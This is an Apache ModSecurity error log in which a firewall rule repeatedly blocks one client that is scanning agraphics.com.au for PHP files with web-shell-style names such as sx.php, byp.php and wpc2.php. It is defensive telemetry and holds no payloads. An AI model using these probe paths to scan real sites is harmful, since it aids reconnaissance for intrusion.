[Sat Nov 22 01:31:31.861961 2025] [:error] [pid 9180:tid 9192] [client 48.210.84.77:9160] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diesinker.php"] [unique_id "aSCh87rk9msixUFV2i-X8QAAAEo"]
[Sat Nov 22 01:31:32.101827 2025] [:error] [pid 49643:tid 49932] [client 48.210.84.77:9188] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diesinker.php"] [unique_id "aSCh9JwUojIRHhF_fj-QhAAAAMw"]
[Sat Nov 22 01:31:32.347737 2025] [:error] [pid 49643:tid 49925] [client 48.210.84.77:9107] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/diesinker.php"] [unique_id "aSCh9JwUojIRHhF_fj-QhQAAAMY"]
[Sat Nov 22 01:31:32.605461 2025] [:error] [pid 49643:tid 49922] [client 48.210.84.77:9120] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dinah.php"] [unique_id "aSCh9JwUojIRHhF_fj-QhwAAAMM"]
[Sat Nov 22 01:31:32.876394 2025] [:error] [pid 9180:tid 9197] [client 48.210.84.77:9088] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dinah.php"] [unique_id "aSCh9Lrk9msixUFV2i-X9QAAAE8"]
[Sat Nov 22 01:31:33.129823 2025] [:error] [pid 49642:tid 49908] [client 48.210.84.77:9164] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dinah.php"] [unique_id "aSCh9YOXTPSuQfgUUtWSlQAAAJE"]
[Sat Nov 22 01:31:33.402345 2025] [:error] [pid 49641:tid 49841] [client 48.210.84.77:9168] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dinah.php"] [unique_id "aSCh9VnhuiDak938N_a6yAAAABI"]
[Sat Nov 22 01:31:33.675634 2025] [:error] [pid 49642:tid 49912] [client 48.210.84.77:9091] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/washland.php"] [unique_id "aSCh9YOXTPSuQfgUUtWSlgAAAJU"]
[Sat Nov 22 01:31:33.942071 2025] [:error] [pid 9180:tid 9185] [client 48.210.84.77:9177] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/washland.php"] [unique_id "aSCh9brk9msixUFV2i-X9wAAAEM"]
[Sat Nov 22 01:31:34.198749 2025] [:error] [pid 9180:tid 9187] [client 48.210.84.77:9168] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/washland.php"] [unique_id "aSCh9rrk9msixUFV2i-X-QAAAEU"]
[Sat Nov 22 01:31:34.448661 2025] [:error] [pid 50057:tid 50062] [client 48.210.84.77:9104] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/washland.php"] [unique_id "aSCh9lb9j9fTBoI0sRVMqQAAAQM"]
[Sat Nov 22 01:31:34.699842 2025] [:error] [pid 50057:tid 50065] [client 48.210.84.77:9155] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prototheria.php"] [unique_id "aSCh9lb9j9fTBoI0sRVMqwAAAQY"]
[Sat Nov 22 01:31:35.210520 2025] [:error] [pid 50057:tid 50077] [client 48.210.84.77:9109] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prototheria.php"] [unique_id "aSCh91b9j9fTBoI0sRVMrAAAARI"]
[Sat Nov 22 01:31:35.487735 2025] [:error] [pid 9180:tid 9188] [client 48.210.84.77:9181] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prototheria.php"] [unique_id "aSCh97rk9msixUFV2i-X_AAAAEY"]
[Sat Nov 22 01:31:35.838457 2025] [:error] [pid 9180:tid 9206] [client 48.210.84.77:9031] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prototheria.php"] [unique_id "aSCh97rk9msixUFV2i-X_wAAAFg"]
[Sat Nov 22 01:31:36.121257 2025] [:error] [pid 50057:tid 50059] [client 48.210.84.77:9123] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/microspore.php"] [unique_id "aSCh-Fb9j9fTBoI0sRVMrQAAAQA"]
[Sat Nov 22 01:31:36.396604 2025] [:error] [pid 49642:tid 49909] [client 48.210.84.77:9208] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/microspore.php"] [unique_id "aSCh-IOXTPSuQfgUUtWSmQAAAJI"]
[Sat Nov 22 01:31:36.675300 2025] [:error] [pid 49641:tid 49824] [client 48.210.84.77:9174] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/microspore.php"] [unique_id "aSCh-FnhuiDak938N_a6zQAAAAE"]
[Sat Nov 22 01:31:36.954120 2025] [:error] [pid 49642:tid 49906] [client 48.210.84.77:9045] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/microspore.php"] [unique_id "aSCh-IOXTPSuQfgUUtWSmwAAAI8"]
[Sat Nov 22 01:31:37.347215 2025] [:error] [pid 49641:tid 49840] [client 48.210.84.77:9141] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSCh-VnhuiDak938N_a6zwAAABE"]
[Sat Nov 22 01:31:37.582530 2025] [:error] [pid 49642:tid 49905] [client 48.210.84.77:9183] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSCh-YOXTPSuQfgUUtWSnAAAAI4"]
[Sat Nov 22 01:31:37.841407 2025] [:error] [pid 49642:tid 49897] [client 48.210.84.77:9214] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSCh-YOXTPSuQfgUUtWSnwAAAIY"]
[Sat Nov 22 01:31:38.201185 2025] [:error] [pid 49642:tid 49904] [client 48.210.84.77:9125] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sx.php"] [unique_id "aSCh-oOXTPSuQfgUUtWSoQAAAI0"]
[Sat Nov 22 01:31:38.773872 2025] [:error] [pid 50057:tid 50079] [client 48.210.84.77:9201] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aSCh-lb9j9fTBoI0sRVMswAAARQ"]
[Sat Nov 22 01:31:39.175919 2025] [:error] [pid 50057:tid 50063] [client 48.210.84.77:9130] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aSCh-1b9j9fTBoI0sRVMtAAAAQQ"]
[Sat Nov 22 01:31:39.497436 2025] [:error] [pid 50057:tid 50083] [client 48.210.84.77:9040] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aSCh-1b9j9fTBoI0sRVMtQAAARg"]
[Sat Nov 22 01:31:39.759018 2025] [:error] [pid 50057:tid 50073] [client 48.210.84.77:9153] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aSCh-1b9j9fTBoI0sRVMtgAAAQ4"]
[Sat Nov 22 01:31:40.187176 2025] [:error] [pid 49642:tid 49914] [client 48.210.84.77:9111] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2co_ipn.php"] [unique_id "aSCh_IOXTPSuQfgUUtWSogAAAJc"]
[Sat Nov 22 01:31:40.473279 2025] [:error] [pid 50057:tid 50069] [client 48.210.84.77:9042] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2co_ipn.php"] [unique_id "aSCh_Fb9j9fTBoI0sRVMtwAAAQo"]
[Sat Nov 22 01:31:40.786836 2025] [:error] [pid 9180:tid 9191] [client 48.210.84.77:9209] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2co_ipn.php"] [unique_id "aSCh_Lrk9msixUFV2i-YCQAAAEk"]
[Sat Nov 22 01:31:41.333124 2025] [:error] [pid 49643:tid 49936] [client 48.210.84.77:9172] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2co_ipn.php"] [unique_id "aSCh_ZwUojIRHhF_fj-QlwAAANA"]
[Sat Nov 22 01:31:41.719945 2025] [:error] [pid 49642:tid 49899] [client 48.210.84.77:9051] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/speculative.php"] [unique_id "aSCh_YOXTPSuQfgUUtWSowAAAIg"]
[Sat Nov 22 01:31:42.030566 2025] [:error] [pid 9180:tid 9189] [client 48.210.84.77:9143] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/speculative.php"] [unique_id "aSCh_rrk9msixUFV2i-YDAAAAEc"]
[Sat Nov 22 01:31:42.378627 2025] [:error] [pid 49643:tid 49920] [client 48.210.84.77:9113] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/speculative.php"] [unique_id "aSCh_pwUojIRHhF_fj-QmgAAAME"]
[Sat Nov 22 01:31:42.645797 2025] [:error] [pid 49642:tid 49891] [client 48.210.84.77:9176] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/speculative.php"] [unique_id "aSCh_oOXTPSuQfgUUtWSpAAAAIA"]
[Sat Nov 22 01:31:43.021259 2025] [:error] [pid 49641:tid 49831] [client 48.210.84.77:9060] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aSCh_1nhuiDak938N_a62wAAAAg"]
[Sat Nov 22 01:31:43.340465 2025] [:error] [pid 50057:tid 50078] [client 48.210.84.77:9129] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aSCh_1b9j9fTBoI0sRVMugAAARM"]
[Sat Nov 22 01:31:43.637433 2025] [:error] [pid 49642:tid 49902] [client 48.210.84.77:8970] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aSCh_4OXTPSuQfgUUtWSpQAAAIs"]
[Sat Nov 22 01:31:43.969892 2025] [:error] [pid 9180:tid 9186] [client 48.210.84.77:9068] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hans.php"] [unique_id "aSCh_7rk9msixUFV2i-YEQAAAEQ"]
[Sat Nov 22 01:31:44.614076 2025] [:error] [pid 9180:tid 9194] [client 48.210.84.77:9097] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krypton.php"] [unique_id "aSCiALrk9msixUFV2i-YFAAAAEw"]
[Sat Nov 22 01:31:45.046970 2025] [:error] [pid 50057:tid 50062] [client 48.210.84.77:9199] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krypton.php"] [unique_id "aSCiAVb9j9fTBoI0sRVMuwAAAQM"]
[Sat Nov 22 01:31:45.398793 2025] [:error] [pid 9180:tid 9204] [client 48.210.84.77:9026] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krypton.php"] [unique_id "aSCiAbrk9msixUFV2i-YGAAAAFY"]
[Sat Nov 22 01:31:45.783856 2025] [:error] [pid 49642:tid 49912] [client 48.210.84.77:9138] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krypton.php"] [unique_id "aSCiAYOXTPSuQfgUUtWSqAAAAJU"]
[Sat Nov 22 01:31:46.028660 2025] [:error] [pid 49641:tid 49823] [client 48.210.84.77:9175] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acholuria.php"] [unique_id "aSCiAlnhuiDak938N_a64wAAAAA"]
[Sat Nov 22 01:31:46.408926 2025] [:error] [pid 49641:tid 49844] [client 48.210.84.77:8992] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acholuria.php"] [unique_id "aSCiAlnhuiDak938N_a65QAAABU"]
[Sat Nov 22 01:31:47.250499 2025] [:error] [pid 9180:tid 9189] [client 48.210.84.77:9210] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acholuria.php"] [unique_id "aSCiA7rk9msixUFV2i-YGgAAAEc"]
[Sat Nov 22 01:31:47.724531 2025] [:error] [pid 9180:tid 9201] [client 48.210.84.77:9152] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acholuria.php"] [unique_id "aSCiA7rk9msixUFV2i-YHQAAAFM"]
[Sat Nov 22 01:31:48.074410 2025] [:error] [pid 49642:tid 49906] [client 48.210.84.77:9148] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aSCiBIOXTPSuQfgUUtWSqgAAAI8"]
[Sat Nov 22 01:31:48.443588 2025] [:error] [pid 9180:tid 9186] [client 48.210.84.77:9054] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aSCiBLrk9msixUFV2i-YIgAAAEQ"]
[Sat Nov 22 01:31:49.136964 2025] [:error] [pid 9180:tid 9198] [client 48.210.84.77:9034] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aSCiBbrk9msixUFV2i-YIwAAAFA"]
[Sat Nov 22 01:31:49.599852 2025] [:error] [pid 49642:tid 49905] [client 48.210.84.77:9165] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aSCiBYOXTPSuQfgUUtWSqwAAAI4"]
[Sat Nov 22 01:31:49.860186 2025] [:error] [pid 50057:tid 50075] [client 48.210.84.77:9173] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aSCiBVb9j9fTBoI0sRVMwQAAARA"]
[Sat Nov 22 01:31:50.179363 2025] [:error] [pid 50057:tid 50074] [client 48.210.84.77:9035] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aSCiBlb9j9fTBoI0sRVMwgAAAQ8"]
[Sat Nov 22 01:31:50.506935 2025] [:error] [pid 9180:tid 9184] [client 48.210.84.77:9046] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aSCiBrrk9msixUFV2i-YJwAAAEI"]
[Sat Nov 22 01:31:51.029897 2025] [:error] [pid 50057:tid 50079] [client 48.210.84.77:9029] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aSCiB1b9j9fTBoI0sRVMxAAAARQ"]
[Sat Nov 22 01:31:51.729408 2025] [:error] [pid 49643:tid 49943] [client 48.210.84.77:9215] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ghreshttryu.php"] [unique_id "aSCiB5wUojIRHhF_fj-QoAAAANc"]
